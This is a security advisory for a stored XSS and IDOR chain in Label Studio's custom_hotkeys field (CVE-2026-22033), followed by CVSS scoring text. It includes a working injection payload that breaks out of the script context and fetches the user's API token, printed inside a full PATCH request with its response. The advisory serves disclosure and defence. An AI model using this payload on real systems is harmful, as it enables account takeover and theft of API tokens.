Skip to content

Label Studio is vulnerable to full account takeover by chaining Stored XSS + IDOR in User Profile via custom_hotkeys field

High severity GitHub Reviewed Published Jan 12, 2026 in HumanSignal/label-studio • Updated Jan 12, 2026

Package

pip label-studio (pip)

Affected versions

<= 1.22.0

Patched versions

None

Description

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "</script><script>…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original <script> tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

  1. Login to the application
  • Go to the login page: GET /user/login/
  1. Identify your user ID (via API)
  • GET /api/current-user/whoami
  • In the response JSON you will see your user ID (for example "id": 123).
  • Note this ID for the next step.
  1. Inject a malicious hotkey payload in the PATCH request /api/users/{id}
  • Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"[email protected]","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"[email protected]"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}
  1. Verify the injected string persists
  • Still logged in as your user, go to your account page (e.g., GET /user/account/).
  • See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

  • Full account takeover of victim user(s).
  • Exposure of API tokens granting access to internal/external APIs.
  • Unauthorized API access, data exfiltration, token reset or privilege escalation.
  • If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

  • All users who load the template and whose session/token is accessible via browser.
  • The organization’s application and data.
  • Potentially other end-users if cross-user token exfiltration occurs.

References

@niklub niklub published to HumanSignal/label-studio Jan 12, 2026
Published to the GitHub Advisory Database Jan 12, 2026
Reviewed Jan 12, 2026
Published by the National Vulnerability Database Jan 12, 2026
Last updated Jan 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-22033

GHSA ID

GHSA-2mq9-hm29-8qch

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.